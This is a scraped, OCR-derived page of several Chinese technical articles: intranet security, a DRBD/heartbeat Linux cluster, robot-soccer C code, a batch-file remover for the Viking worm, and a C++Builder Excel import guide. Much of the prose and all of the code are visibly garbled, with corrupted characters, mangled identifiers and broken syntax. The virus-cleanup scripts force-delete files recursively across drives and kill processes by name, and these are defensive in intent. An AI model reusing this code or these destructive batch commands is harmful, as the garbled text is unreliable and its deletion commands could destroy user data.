務端設置好全網的安全防護策略,并生成可執行的 客戶端代理程序,然后強制在客戶端安裝代理程序。 代理程序以系統進程的方式駐留在系統內存,隨系 統一起啟動,在客戶端啟動的過程中,進行用戶身 份認證、客戶端認證、防病毒策略驗證、防火墻策 略驗證、系統漏洞和補丁檢測、終端非法外聯監控。 如果認證和策略驗證均通過,則根據用戶的角色進 行權限分配,用戶在權限范圍內訪問網絡資源,同 時對用戶的網絡訪問行為進行審計。 5結束語 改進后的安全防護策略采用用戶的生物特征指 紋對用戶身份的合法性進行驗證,增加了對內網中 安全防護策略的驗證機制,克服了目前內網安全防 護中只部署策略但疏于監控策略的缺點,劃分了內 網可信主機邊界、內網可信用戶邊界、服務器可信 使用者邊界,從整體上提高了內網安全防護的性能, 有效地增強了網絡安全,抵御了來自網絡內部和夕卜 部的攻擊。作者:龐雄昌,王茄 http://www.ionrce.tw/uploads/allimg/120515/1-1205152140032Z-lp.jpg 內網安全,防護策略,內網安全防護 系統安全 admin 未知 2012-05-15 21:37 DRBD下的Linux高可用集群詳解 http://www.ionrce.tw/linux/20120514926.html 隨著醫院電子病歷系統(EMR)和放射科信息系統 (RIS)在醫療信息化中發揮越來越重要的地位,臨床對 這兩套系統的依賴性也與日俱增。這兩套系統的信息 實際上存儲在郇服務器內,保證 隨著醫院電子病歷系統(EMR)和放射科信息系統 (RIS)在醫療信息化中發揮越來越重要的地位,臨床對 這兩套系統的依賴性也與日俱增。這兩套系統的信息 實際上存儲在郇服務器內,保證ftp服務器的7*27小 時可用性與數據的完整性成為醫院信息化工作的重要 課題。 傳統的解決方式是使用服務器集群加共享存貯介 質的方式實現,這種實現方式需要外置存儲設備用來 給集群提供共享磁盤,由于外置磁盤柜的價格較為昂 貴,造成這種方式成本較高,且單個外置磁盤本身也存 在單點故障風險。 本文介紹一種基于DRBD(DistributedReplicated BlockDevice)的Linux雙機集群方式,使用DRBD在兩 臺運行heartbeat的服務器上通過專用網絡建立起操 作系統級的軟件RAID1。Heartbeat負責管理服務器資 源及主備切換,DRBD負責在服務器內置磁盤之間同 步數據。· 1系統設計 本系統使用兩臺運行vsftpd的Linux服務器 (CentOS5.6),機器名分別為:ftp201和ftp202進行系 統設計。ftp201和ftp201用ethO連接客戶網絡,用ethl 直連用作數據同步,兩臺服務器虛擬地址192.16.3.1 對外提供ftp服務,兩臺服務器使用相同的磁盤分配策 略,單獨分配一塊分區(/dev/sda3)通過ethl進行數據 同步,heartbeat在eth0上單播在ethl上廣播心跳,如 圖l所示: 2數據同步軟件DRBD DRBD是一個用軟件實現的、無共享的、服務器之 間鏡像塊設備內容的存儲復制解決方案。DBRD的核 心功能通過Linux的內核實現,最接近系統的IO棧。 在DRBD中,資源是特指某復制的存儲設備的所有方 面,包括資源名稱、DRBD設備(/dev/drbdm,這里m是 設備最小號,最大號可到147)、磁盤配置(使本地數據 可以為DRBD所用)、網絡配置(與對方通信),每個資 源有個角色,“主”和“備”。主角色的DRBD設備可以 不受限制的讀和寫,比如創建和映射文件系統、對于塊 設備的raw或直接IO訪問,備角色的DRBD設備接受 來自對方的所有修改,但是不能被應用程序讀寫,甚至 只讀也不行。DRBD在LinuxIO棧中的位置如圖2所 示,應用程序對DRBD設備(/dev/drbdm)的寫分為兩個 流:一個直接對本地磁盤操作;另外一個通過網絡傳送 到對端DRBD設備后寫入備機磁盤。 3高可用性集群軟件heartbeat 高可用集群是指一組通過硬件和軟件連接起來的 獨立計算機,它們在用戶面前表現為一個單一系統,在 這樣的一組計算機系統內部的一個或者多個節點停止 工作,服務會從故障節點切換到正常工作的節點上運 行,不會引起服務中斷。Heartbeat項目是Linux—HA工 程的一個組成部分,它實現了一個高可用集群系統, heartbeat模塊實現了集群節點間通信、集群資源管理 等功能。 按照圖l的機構圖配置兩臺服務器的心跳方式及 地址,集群資源,保證備服務器通過heartbeat檢測到 主服務器發生故障時能正確進行資源的接管,包括IP 地址接管、DRBD磁盤接管、服務程序接管。 4測試 啟動ftp2Ol與ftp202,兩臺機器的drbd服務在啟 動過程中會互相等待,啟動完畢后按照配置文件的要 求ftp201成為主服務器,ftpO2O成為備服務器。 4.1拔出主機網線 ftp2O]heartbeat提示ping失敗,ftp201釋放資源 成為備機;ftp2O2heartbeat顯示其接管資源成為主機; 兩機drbd顯示ftp202成為第一資源,ftp2ol成為備用 資源;兩機數據同步正常,ftp201在恢復后保持備機狀 態;測試過程中服務器中斷服務30秒。 4.2切斷主機電源 ftp201heartbeat提示主機失效,并接管資源成為 新主機;drbd顯示ftp2O2成為第一資源,沒有備用資 源;ftp201關閉期間更新的數據,在恢復后自動從 ftp202同步;測試過程中服務器中斷服務30秒。 4.3拔出心跳線 ftp2O~drbd顯示其為第_二.資源,沒有備用資源, ftp2O2drbd顯示其為備用資源,沒有第一資源;同步失 效期更新的數據在恢復后,ftp2Ol自動從ftp2O2同步; 測試過程中服務器正常提供服務。 4.4拔出主機網線與心跳線#p#分頁標題#e# ftp201heartbeat提示檢測到自身失效但找不到備 機,不釋放資源,ftp202heartbeat日志提示檢測到主機 失效并接管資源;drbd狀態顯示兩機都為第一資源,沒 有備用資源;狀態恢復后提示腦裂(Split—Brain),數據 同步失效;測試過程中服務器中斷服務40秒。 5腦裂及恢復 在主備機失去聯系的情況下(4.4描述的情況),主 機DRBD繼續保持Primary狀態,而備機heartbeat檢 測到主機失效后接管資源會將DRBD狀態轉換為Pri— mary,當主備機重建聯系后就會報告腦裂 (Split—Brain)。DRBD的腦裂是數據不一致狀態的提 示,由于DRBD的數據流是從Primary到Secondary,兩 個狀態Primary的DRBD意味著兩個Primary都可能 有數據修改,DRBD不知該以那個Primary的數據為標 準,在這種情況下需要指定以某個Primary為準,另外 一 個放棄修改的數據成為Secondary: (1)drbdadmsecondaryr0 (2)drbdadm———discard—my-dataconnectr0 (3)drbdadmconnectr0 前兩條命令在備機上運行,最后一條命令在主機 上運行,命令1先將該服務器的DRBD狀態修改為 Secondary,命令2確認放棄修改的數據,命令3確認該 服務器為數據源并把數據向另一臺服務器同步。 如果主備機在失去聯系的情況下,兩機又都能同 時向外提供服務,則出現heartbeat腦裂,這是兩臺服 務器以相同的服務地址向客戶機提供服務器,導致網 絡嚴重混亂。本文中兩臺服務器不僅通過專用網線以 廣播方式交換心跳,還通過服務網絡以單播方式交換 心跳,如果發生主備機失去聯系的情況,則也不能對客 戶機提供服務,所以不會出現heartbeat腦裂。 6結束語 該方案在保證兩臺服務器之間的數據同步的基礎 上解決了服務器單點故障威脅,僅在服務網絡和心跳 線同時失效的情況下會發生服務中斷,其它故障發生 時都能在極短時間內(/b于60秒)恢復服務,在發生中 斷后也能在保證數據一致的前提下手動恢復服務器的 運行。本文提出的模型優點明顯,費用低廉,適合在低 成本的環境下實施。我院使用該方案已近一年時間,再 沒有遇到因FⅡ,服務器停機故障造成RIS、EMR系統 不可用故障。 http://www.ionrce.tw/uploads/allimg/120514/1-120514202521108-lp.jpg DRBD,Linux,高可用,集群 linux admin 未知 2012-05-14 20:23 基于c語言的電腦機器人足球進攻程序設計 http://www.ionrce.tw/biancheng/20120512921.html 摘要:講解和總結了我校電腦機器人應用中的程序設計。概迷了按照全國中小學電腦制作活動 之機器人足球競賽規則,對機器制作及其程序設計。程序采用c語言設計,深入淺出地講解 摘要:講解和總結了我校電腦機器人應用中的程序設計。概迷了按照全國中小學電腦制作活動 之機器人足球競賽規則,對機器制作及其程序設計。程序采用c語言設計,深入淺出地講解了進 攻機器人在踢足球全過程的程序設計思想和實現過程。 機器人集中了機械工程、電子學、控制理論、計算機、系 統工程、仿生學等多個學科知識,是目前人工智能研究中比較 活躍的研究領域,已成為高科技的代名詞,很多青少年也都憧 憬著能親手設計制作自己的機器人。機器人是指在計算機程序 控制下能夠自動完成人類部分工作的機器。這種機器人又叫自 適應機器人,所以機器人自身配備有相應的感覺傳感器。如視 覺傳感器、觸覺傳感器、聽覺傳感器等.并使用單片機對之控 制,通過傳感器獲取作業環境、操作對象的信息。然后由存放 在單片機中事先編寫好的程序智能地對這些信息進行分析、處 理、控制機器人的動作.它能夠隨著環境參數的變化而改變自 己的行為。 機器人足球比賽是一個多智能體系統的典型問題。電腦機 器人踢足球是指機器人在計算機程序控制下能夠自動完成人在 踢足球時所具有的思維和動作。 1 競賽場地及設備標準 如圖1所示。 (1)場地(內側):長240cm,寬160cm,高18cm。 (2)墻壁:場地邊界有墻壁(包括球門區)。墻壁高為 18cm,墻壁內側為黑色(啞光),其中球門內側為白色。 (3)球門:球門位于場地底線的中問,寬60cm,深 15cm。地面標有黑色球門線.寬2cm。 (4)基板:場地鋪有一張白色廣告用“背膠寫真紙”.正 面覆啞光膜。盡量保持平整和水平。 2機器人設備 進攻機器人和防守機器人配備一樣: (1)馬達:4個。 (2)指南針:用來測得機器人在球場上的方位。 (3)觸碰:讓隊員用來開啟機器人。 (4)復眼:機器人有前后兩個復眼,每個復眼有7個服睛 組成,用來判斷球的位置。如圖2所示。 (5)火焰傳感器:機器人有前后兩個火焰傳感器.用來判 斷是否持有球。 (6)紅外測距:機器人有前后左右4個紅外測距.它配合 指南針用來判斷球場中的位置。 (7)馬達驅動板:驅動4個馬達的前進、后退、轉彎等行動。 安裝完成后如圖3所示。   圖3機器人前后復眼通道號分步圈 3編程思路 對于進攻機器人總的來說,可以分成兩種情況: (1)機 器人周嗣有球時它所要做的工作, (2)機器人周圍無球時它 所要做的工作。下面就對進攻機器人的進攻思路做一下介紹: (1)當機器人周嗣有球時,還要分兩種情況,就是機器人 前方有球和機器人后方有球。 1)機器人前方有球 ①程序中取前后復眼的最大值分別賦給M懿Q和M孫H. 然后用表達式(MaxQ>Guangji&&MaxQ>MaxH)判斷球是不 是在前方,如果條件成立,則機器人認為球就是在機器人的前 方,則執行前追球程序,在追球過程中。如果機器人判斷出現 了前烏龍球條件成熟,則執行前鳥龍球程序。 ②如果機器人將球追到球場的4個角落時。則要判斷是 否是符合死球的條件,如果符合死球的條件。就執行前勾球 程序。 2)機器人后方有球 ①程序中取前后復眼的最大值分別賦給MaxQ和MaxH. 然后用表達式(MaxH>Guangji&&MaxH>MaxQ)判斷球是不 是在后方,如果條件成立,則機器人認為球就是在機器人的后 方,則執行后追球程序。在追球過程中.如果機器人判斷出現 了后烏龍球條件成熟,則執行后烏龍球程序。 ②如果機器人將球追到球場的4個角落時。則要判斷是 否是符合死球的條件,如果符合死球的條件。就執行后勾球 程序。 (2)當機器人周圍沒球時,機器人就停在原地不動。當機 器人在停下來后,復眼循環找球,一旦找到球,就進行判斷#p#分頁標題#e# 球;如果沒有找到球,就繼續處于靜止狀態。 void main() { //初始化函數 XlRCU_1nit(); ifIgetDat8《89)==0) { setData(89,1): setData(1,10): setData(2.1 00): ) g_speed=getData(2); if(g——speed>100)g——speed=100; setMotor(1 00.1 OO): wait(O.1): while(1) { g_degree=getComPB0;//讀取指南針 g_Q_Max=geLQ_CPI(9);//前復眼最大值 g—H—Max=geLH—CPI(9);//后復眼最大值 GetAIIAl0;//讀取各個模擬傳感器 。 if(g—Q—Max>g—H—Max&&g_Q Max>G—BALU 機器人前方有球 { g_ftag=0; g_Q_Maxlndex=get_Q_CPI(8); findBall—Q《): qian..CD0; } else l ’機器人后方有球 g_flag=l: g—H—Maxlndex=get_H—CPI(8); findBall—H0; hou_CD0; l ' } 關于追球的處理 不管是前追球,還是后追球。機器人在很多時候不應該直 著追球,比如球在球場兩側時,就不能直著追球,要帶點弧度 朝向球門追球,這樣機器人在追球時要判斷所處位置:離球場 左側比較近或緊挨左側場邊、離球場左側稍遠但還沒有到中間、 離球場右側比較近或緊挨右側場邊、離球場右側稍遠但還沒有 到中間,程序中就這4種情況分別以不同的速度和弧度追球。 ,,前追球 void findBall Q() { if(g_fireQ>G..NEER&&g.—Q_Maxlndex>=3&&g_Q_ Maxlndex<=5) {,/追球時,球離機器比較近時,各個眼睛看到球后進行的 //處理 if((g—degree<22119_degree>338)) {∥特球進門 if(g_ir_zuo>g—ir_you) ,/機器入帶球在球場的左側 { if(g—ir_zuo>80‘1 6)setMotor(1 00.70): ,,離球場左側比較近或緊挨左側場邊 else if(g_ir_zuo>50’1 6l setMotor (100,80)://離球場左側稍遠f目還沒有到中間 else setMotor(1 00,1 00): ,,中間 ) else {//機器人帶球在球場的右側 if(g—ir_.you>80+1 6) setMotor 170.1 00);//離球場右側比較近或緊挨右側場邊 else if(g—ir_you>50+1 6) setMotor (80,100)://離球場右側稍遠但還沒有到中間 else setMotor(1 00,1 OO)://中間 } return; l l else.f((g_degree>90&&g_degree<1 80)lI(g_degree< 270&&g_degree>1 80)) {胖0斷符合烏龍球的條件時,就進行烏龍球處理。 T1=getSysTime0; qianwulon90; return; } ,,追球時,球離機器比較遠時,各個眼睛看到球后進行的 ,/處理 if(g—Q_Maxlndex==7)setMotor(40,-40); else if(g一0LMaxlndex==1)setMotor(-40,40): else if(g—Q_Maxlndex==6)setMotor(40,-20); else if(g一0LMaxlndex==2)setMotor(-20,40): else { if(g_fireQ>G—NEER)setMotor(1 00,1 00): else if《g_Q—Maxlndex==5)setMotor(1 00,50): else if(g—Q_Maxlndex==3)setMotor(50,1 00); else { int var3=get_Q—CPI(3); int var5=geLQ_CPI(5); if(var3>var5) setMotor(90,1 00): else ifIvar3<varS) setMotor(1 00,90): else setMotor(1 00.1 00): } } ) 5關于烏龍球的處理 烏龍球時要對兩個扇形區域進行判斷.分別是大于等于 90度且小于270度之間。且機器人和球在這兩個區域都是對 著自己的球門。 (1)取得指南針方位,判斷方位g_degree>=90&&g._degree< 130,如果條件成立,然后判斷球所處方位g_Q—Maxlndex<5或 艮Q—Maxlndex>=5,然后進行各復眼馬達速度處理,調整機器 人位置。 (2)判斷方位g_degree<270&&g_.degree>230,如果條件成 立,然后判斷所處方位咖一Maxlndex>3或g_Q—Maxlndex<=3, 然后進行備復眼馬達速度處理.調整機器人位置。 (3)判斷方位g_degree<130&&g_degree<230。如果條件成 立。說明機器人和球及球門的相對位置是在一條育線上。這種 狀態比較危險,需要判斷機器人和球是在球場偏左側、偏右側 或偏中問,然后進行各復眼馬達速度處理。調整機器人位置。 注:前后烏龍球的處理思想基本上是一致的。#p#分頁標題#e# 程序詳細代碼: void qianwulong() f if(g_degree>=90&&g_degree<l 30) { if(g_Q_Maxlndex<5) l iffg-Q—Maxlndex==1) setMotor(一40,70}: if(g_Q_Maxlndex==2) setMotor(40,80): if(g_Q—Maxlndex==3) setMotor(100,100}: if(g_Q_Maxlndex==4) setMotor(1 00,50): } else { if(g—ir_qian<70。1 6) ( if(g—Q_Maxlndex==5) setMotor(40,一60): if(g~Q—Maxlndex==6) setMotor(1 00,50): if(g—Q-Maxlndex==7) setMotor(1 00,40): ) else ( if(g~阻Maxlndex==5) setMotor(60,~30): ifIg~Q—Maxlndex==6) setMotor(60,一40}: if(g—Q_Maxlndex==7) setMotor(60,一40): ) } } else if(g_degree<270&&g_degree>230) { if(g—Q-Maxlndex>3) { if(g—Q-Maxlndex==7) setMotor(70,一柏): if(g—Q_Maxlndex==6) setMotor(80,40): if《g-Q—Maxlndex==5} setMotor(1 OO,1 OO): if(g_QMaxlndex==4) setMotor(50,1 00): } else { if(g_ir_qian<70。1 6) {if(g_Q_Maxlndex==3) setMotor(一60,30): if(g一也Maxlndex==2) setMotor(50.1 oo): if(g_Q_Maxlndex==1) setMotor(40.1 00): } else { if(g_Q—Maxlndex==3) setMotor(30,-60); if(g_Q_Maxlndex==2) setMotor(40,一60): if(g_Q_Maxlndex==l} setMotor(40,一60): 1 ) ) else W機器人和球及球門的相對位置是在一條直線上 if《“r_qian>2500&&g_fireQ<G—NEERl { return; } { T1=getSysTimeO; if(g—Q_Maxlndex==7) Motor(80.一1 0): else if(g—Q—Maxlndex==l} setMotor(-1 0,80): else if(g一皿Maxlndex==6) setMotor(90,1 00); else if(g_aLMaxlndex==2) setMotor(1 00,90): else if(gfireQ>G—NEER) W烏龍球時,機器人先靠近球時要進行兩 ∥側撥球 if(g_degree<1 80&&g_ir_you>700) {setMotor(一30,70):) else if(g—degree>180&&g—ir_zuo>700}{setMotor(70,一30):} ) else { if(g—Q—Maxlndex==5) { if(g—ir_zuo<60。1 6l setMotor(70,1 OO): else setMotor(1 00J O): } else if(g—Q—Maxlndex==3) { if(g—Jr_you<80’1 6) setMotor(1 00,70): else setMotor(1 0.1 00): } else { int var3=get_Q_CPI(3); int var5=get——Q——CPI(5); if(var3>var5&&g._ir_.you<60。1 6)setMotor(80,1 0): else setMotor(1 0,80): } l l l l l 6關于死球處理 關于死球,在球場上很常見。并且出現的機率還很高。出 現死球時,機器人馬達在堵轉。很容易燒壞馬達或馬達驅動 板,為了能夠很好地進球,那么機器人處理好死球就是一個很 重要的問題了.要解決這個問題就要清楚容易出現死球的地 方.根據以往比賽的情況發現。球在球場4個角落時就很容易 出現死球.當球在對方的兩個角落時.機器人要能把球盡可能 地撥向對方球門附近,再找機會攻進對方球門。在這段程序 中,利用條件qian>40&&(FireQ>130)&&(b>20011b<160)&& (Maxlndex>=3&&MaxIndex<=5)和 (T2—T1>50)&&qian> g__qianD&&(FireQ>g_near)IIT2-TI>350來判斷機器人是否是處 于死球狀態,如果是死球狀態.且時間還不到規定時間.機器 人就盡量進行勾球,依據指南針方位判斷,當指南針方位小于 160度時,機器人就盡量向左撥球(也就是向對方場地撥球); 當指南針方位大于200度時,機器人就盡量向右撥球(也就是 向對方場地撥球),然后找機會將球踢到對方半場或球門。 死球處理程序如下: void qian_CDO//前勾球 { if(g_fireQ>G—NEER&&g_Q_Maxlndex>=3&&g一吐 Maxlndex<=5J if I《g—degree<=90 IIg_degree>=270)&&g_ir qian> 70’1 6&&getSysTime0一T1>50l if(g—ir_qian>l 50’1 6)g』1++: ) else gJl=O: if(g_T1>70) l setLcdBack(1): gJl=O:#p#分頁標題#e# int flag=0; if(g_degree<180)setMotor(-17,45); else { flag=l: setMotor(45,一1 7): } while(1) { g_degree=get_ComPB0; g_Q_Max=get_Q_CPI(9);//前復眼最大值 g_Q—Maxlndex=ge乏QCPI(8); 乳H—Max=get_H—CPI(9);//后復眼最大值 GetAIIAl0;//讀取各個模擬傳感器 if(flag==0) {if(g—degree<350&&g_degree>270)break;) else if(g—degree>l 0&&g degree<90)break; if(g—Q_Max<g_H—Maxllg—O_Maxlndex<31 Jg—Q_Maxlndex>5) { setLcdBack(0); return; } ) while(1) { g_degree=get_ComPB0; g一0LMax=get_Q—CPI(9);//前復眼最大值 g—Q—Max ndex=get—Q—CPI(8); g—H—Max=get—H—CPI(9)://后復眼最大值 GetAIIAl0;∥讀取各個模擬傳感器 if(g—Q.Max<g—H—Maxllg—Q—Maxlndex<3119—CLMaxlndex> 5…g_ir_hou>2300&&g_ir_zuo>800&&g_ir_you>800)) break; if(g_fireQ>G—NEER) { if(g—degree>60&&g_degree<90) setMotor(40.1 00): if(g_degree<300&&g_degree>270) setMotor(1 00,40): continue; } if(g—CLMaxlndex==5) setMotor(1 00,60): else if(g—qMaxlndex==3)setMotor(60,1 00); else { int var3=get_Q_CPI(3); int var5=get_Q_CPI(5); if(var3>var5) setMotor(80,1 00): if(var3<var5) setMotor(1 00,80): } }setLcdBack(O): }} 這是我校機器人足球隊連續3年取得河南省中小學電腦制作 活動競賽項目機器人足球第一名的機器人足球程序,尚存在編程 思想不夠拘矜。思路不夠清晰等不足之處,在今后學習中會更加 努力.汲取其他球隊的先進思想和經驗,使我們的技術更加成熟。 http://www.ionrce.tw/uploads/allimg/120512/1-12051222255Y05-lp.jpg c語言,電腦機器人,程序設計 各類編程 admin 未知 2012-05-12 22:24 用批處理程序制作病毒專殺工具 http://www.ionrce.tw/xitonganquan/20120511920.html 摘要:根據計算機應用與安全需求,介紹了在Windows操作系統下批處理程序設計以及在計算 機病毒查殺應用方面的實踐。 關鍵詞:批處理;程序設計;病毒專殺 1批處理簡介 批處理fBa 摘要:根據計算機應用與安全需求,介紹了在Windows操作系統下批處理程序設計以及在計算 機病毒查殺應用方面的實踐。 關鍵詞:批處理;程序設計;病毒專殺 1批處理簡介 批處理(Batch).也稱為批處理腳本。顧名思義,批處理 就是對某對象進行批量的處理。批處理文件的擴展名為bat。 批處理是一種簡化的腳本語言.也稱作宏。它應用于Dos和 windOW$系統中。它是由DOS或者Windows系統內嵌的命令 解釋器(通常是command.corn或者cmd exe)解釋運行。類似 于Unix中的Shell腳本。 批處理最簡單的應用是逐行書寫在命令行中會用到的各種 命令。更復雜的情況.需要使用玎.for、goto等命令控制程序 的運行過程.如同C、Basle等中高級語言一樣。如果需要實 現更復雜的應用.利用外部程序是必要的.這包括系統本身提 供的外部命令和第三方提供的工具或者軟件。批處理文件,或 稱為批處理程序,是由一條條的DOS命令組成的普通文本文 件.可以用記事本直接編輯或用DOS命令創建,也可以用 DOS下的文本編輯器Edit.exe來編輯。在“命令提示”下鍵人 批處理文件的名稱.或者雙擊該批處理文件.系統就會調用 cmd.既e運行該批處理程序。一般情況下.每條命令占據一行; 當然也可以將多條命令用特定符號(如:&、&&、I、II等)分 隔后寫入同一行中:還有的情況就是像訂、for等較高級的命令 則要占據幾行甚至幾百行的空間。系統在解釋運行批處理程序 時,首先掃描整個批處理程序,然后從第一行代碼開始向下逐 句執行所有的命令.直至程序結尾或遇見exit命令或出錯意外 退出。最簡單的方法是用“copycon主文件名.bat”來創建bat 文件,在創建完后按CTRLvZ鍵來結束。但這種方法的缺點是 只能寫,不能改。其常用指令有:Call,Echo、For、Cow、If、 Pause、Rem多種。 2批處理的應用 由于批處理的程序特點:編輯容易,修改方便。可以用來 開發設計成各種應用的工具。在計算機操作系統的使用過程 中.可以利用編輯批處理程序完成系統的應用、分析、安全設 置以及系統維護.下面利用兩個示例分別來演示判斷分區格式 的系統應用、查殺病毒與清除垃圾文件程序。 分區格式判斷的代碼如下: title分區格式判斷工具2011版 @echo off :1 cls set/p pan=請輸入要測試的盤符(不帶冒號) for /f "tokens=l,2" %%i in('chkntfs %pan%:’)do set var=%%j goto type ) goto:eof :type set var=%van;。=% echo%pan%的文件系統類型是%var% pause>nul goto 1 輸入對應的盤符,其應用如圖1所示。   圖1 分區格式判斷工具的應用 查殺某病毒與清除垃圾文件程序代碼如下 @echo off cls color 5a //設置屏幕顏色,這里 //5a是紫色 echo 病毒與垃圾文件自動清理器 echo echo echo echo echo echo pause echo 一一一一一= 本程序可成功刪除硬盤中的以下病毒與垃圾文件 echo [_desktop.ini ] [logo1.exe ] echo [autorun.inf] [pagefile.pif] echo pause echo echo 程序運行中,請稍等。 echo c: ∥開始清理C盤 cd echo 正在處理C盤 del——desktop.ini /a/q/s/f del auto+inf /a/q/s/f del pagefile pif /a/q/s/f del logo_1.exe /a/q/s/f //del命令的/a/q/s/f 參數含義分別為:/a:根據屬性選擇要刪除的文件/q:安 靜模式、刪除全局通配符時,不要求確認。/s:從所有了目錄 刪除指定文件。/f強制刪除只讀文件.. 這段代碼是清除C盤內部的相關病毒與垃圾文件的程序, 如果需要對每個分區(比立¨D盤厄盤,F盤)進行處理就可以 杠其下接著輸入: d:/e:/f: ∥分別列出各種盤符 cd cls echo echo丁F在處理D盤/E盤/F盤 del_desktopini /a/q/s/f del auto+lnf /a/q/s/f del pagefile.pif /a/q/s/f del Iogo_l exe /a/q/s/f cls echo 清理完畢,準備退出……#p#分頁標題#e# pause cls 雙擊運行該文件,如圖2所示。 圖2病毒與垃圾文件自動清理器起始界面 運行結果如圖3所示。 圖3病毒與垃圾文件自動清理器的結束界面 3制作專用的批處理病毒查殺工具 除了使用官方專用的殺毒軟件,當在使用計算機系統過程中, 發現有變種病毒的時候.并且官網的更新并不及時,那么采用自 L手動制作批處理病毒專系,[具.可以解決系統安全的隱患。 曾經的威金蠕蟲變種DR fWorm.Viking dr)在互聯網上肆 虐。該病毒集文件型病毒、蠕蟲病毒、病毒下載器于一身,傳 播能力非常強。該病毒會破壞門j戶的一些軟件.造成它們無法 使用。“威金蠕蟲”是一個能在Windows 9X/NT/2000/XP系 統I:運行的蠕蟲病毒.通廿感染文件、局域剛以及其他病毒下 載傳播.陔病毒還會自動在后厶I F戴并運行“QQ通行證”等 其他病毒.竊取QQ及網絡游戲的賬號和密碼并發送給黑 客..南丁浚病毒杠編丐J二存在一些問題,nr造成一此川戶的軟 件被破壞,無法使用。 利用記事本輸入清除威金病毒最新變種工具的批處理程序 代碼: echo off title清除威金病毒最新變種T具 @echo清除威金病毒最新變種T具 pause f exist%windi r%Vundll 32 exeecho…發現有威金病毒.進 行查殺一…一一 if exist%windir%klogo_l exe echo…發現有威金病毒,進 行查殺I一—一 ∥殺威金病毒進程 tskill Iogo_l tskilI ruedll32 tskilI zt tskill wow tskill lo901一 tskill Ravmon tskill Eghost tskill Mailmon tskill KAVPFW tskill lPARMOR tskilI Ravmond taskkill/f/im Osy exe taskkill/f/Im 1 sy exe taskkilI/f/im 2sy exe taskkill/f/im 3sy exe taskkillⅣ/im 4sy exe taskki||Ⅳ^m 5sy exe taskkill/f/im 6sy exe taskkill/f/im 7sy exe taskkilI/f/im 8sy exe taskkill/f/im 9sy exe //刪除木馬 del d Ldesktop ini/f/s/q/a del&,Program\es\_desl(top ini del%Windir%kMickNevnMickNew dll del%Windir%kMH—FlLE\MH—DLL dll del%Windir%{desktop ini deI%Windir%kTODAYZTKING\TODAYzTKING DLL attrib—h-r--S c:\00 exe del c:、aoexe del c:ksetup exe attrib—h—s-r c:\autorun inf del c:ksutorue inf attrib-h—r—s d=、go exe del d?、qo exe deI d:ksetup exe artrib—h—s—r d:\autorun lnf deI dSautorun inf deI e:ksetup.exe attrib—h—r—s e:、go exe deI e:、ao exe artrib-h-s—r e:、autorun inf del e婦utorun inf attrib—h—r—S f:kgo exe deI f抽0exe deI f:ksetup exe artrib—h—s—r f:ksutorun inf del f:kautorun inf attrib—h—r—s g岣oexe del g岣oexe del g:%setup exe attrib-h—s—r gAautorun inf del g:ksutorun Inf del h沁0exe del h:ksetup exe attrib—h—S—r g:kautorun inf deI h:kautorun inf deI i:go exe attrib—h—s—r a:\autorun inf de|i:kautorun inf de|i:ksetup exe delj:、go exe attrib—h—S—r g:、autorun inf de|i:ksutorun.inf de|i:ksetup exe deI %windir%ksystemkLogol—exedel %windir% %systemkLogo_1 exe de:餓%windir。%£Vun||d11132。。8 f眶峰.批處理助力系統維護lJ】.網管員世界,2008deI%windir%XvD¨.dll del%windir%XDII dll del%windir%kOSy exe el%windir%\1 Sy exe el%windir%k2Sy exe el%windir%',3Sy exe el%windir%kSSy exe el%windir%\1 com echo成功殺掉病毒『 ause 完成這個文件的保存,后綴名為bat的批處理文件,雙擊 就可以完成清除病毒,如圖4所示。 批處理完這個病毒以后.仍然可以在其代碼后面添加系統 安全維護的腳本代碼.比如net share 盤符$/del等,#p#分頁標題#e# 4結語 利川批處理不僅可以完成系統應川服務類、網絡類的小工 具。也可以結合其他程序完成綜合性腳本的編寫,比盤ll信息告 詢系統等.總之,只要能結合需求.利用批處理程序設計可以 解決計算機使用過程中的各種問題。 http://www.ionrce.tw/uploads/allimg/120511/1-12051115511cE-lp.jpg 批處理,病毒專殺 系統安全 admin 未知 2012-05-11 15:55 c++Builder由Excel數據導入Paradox表的實現 http://www.ionrce.tw/biancheng/20120510916.html 本文代碼pdf清晰版在文章最后有下載 摘 要:Microso丘Excel具有可視的強大的數據處理能力。Paradox表則具有數據存儲以及易與應 用程序交互的優勢,兩者結合使用,可以有效提高數據處理 本文代碼pdf清晰版在文章最后有下載 摘 要:Microso丘Excel具有可視的強大的數據處理能力。Paradox表則具有數據存儲以及易與應 用程序交互的優勢,兩者結合使用,可以有效提高數據處理效率。結合實例,講解由Excel向 Paradox表導入數據的方法。 關鍵詞:Paradox;C++:Excel 1 引言 眾所周知.Microsoft Excel是專業數據處理軟件。通過 Excel應用程序的窗口界面,用戶可以方便地進ij數據錄入和 處理。Paradox主要應用于數據容量不是非常大的數據管理. 可以保證有較快的數據訪問速度。本文介紹在C++Builder中 利用OLE.實現南Excel表格向Paradox數據表導人數據的程 序設計方法。 2 Paradox數據表 這里以一個簡單的學牛信息系統為例.說明數據導人功能 的實現方法。Paradox數據表的字段定義如表1所示。 表1 Paradox表字段定義 下面介紹使用程序代碼創建Paradox數據表的具體方法。 在編寫實現代碼之前,需要做點準備工作,由于使用TYable、 TQuery和TRegistry類.在頭文件中添加: #include<DBTables.hpp> #include<Registry.hpp> 實現代碼如下: void CreateAccessTable() { -i-rable。Tablel=new TTable(this);//定義并初始化一 /,個TTable類的對象 Yablel一>Active=false;//設霞對象為非激活狀態 Tablel一>DatabaseName=”D:\,’:力fi殳置文件存儲位置 rablel一>TableName=”Studentlnfo.db”://設置文件 ||筆稱 Tablel一>TableType=ttParadox;//設定數據表類型為 EParadox Tablel一>FieldDefs一>Clear();脯空數據表字段定義 Tablel一>FieldDefs->Add(。學號",ftInteger,8.faIse); ,,用于標識不同學生 Tablel一>FieldDefs一>Add(。姓名',ftString.8,false); Tablel一>FieldDefs一>Add(’性別',ftString.2,false); Tablel一>FieldDefs一>Add(。入學年月。,ftString,1 O,false); Tablel一>FieldDefs一>Add(。所在班級',ftString,1 0,false); Tablel一>FieldDefs一>Add(。家庭住址',ftString,30,false); Tablel一>FieldDefs一>Add(’聯系電話",ftString,1 5,false); Tablel一>CreateTable0;/,按照字段定義,創建數據表 delete Tablel:∥刪除數據表對象 } 通過上述代碼。成功地在D盤創建了一個名稱為 “Studentlnfo.db”的Paradox數據表文件。下一步工作就是將 Excel表格中的數據導入該表中。 3導入數據 通過上面步驟,已經創建了一個Paradox數據表.下面將 演示如何將Excel表格中數據導入Paradox數據表。前提條件 是Excel表格中應包含Paradox數據表字段對應的數據。要明 確表格數據格式,這暈規定表格的列字段分別為學號、姓名、 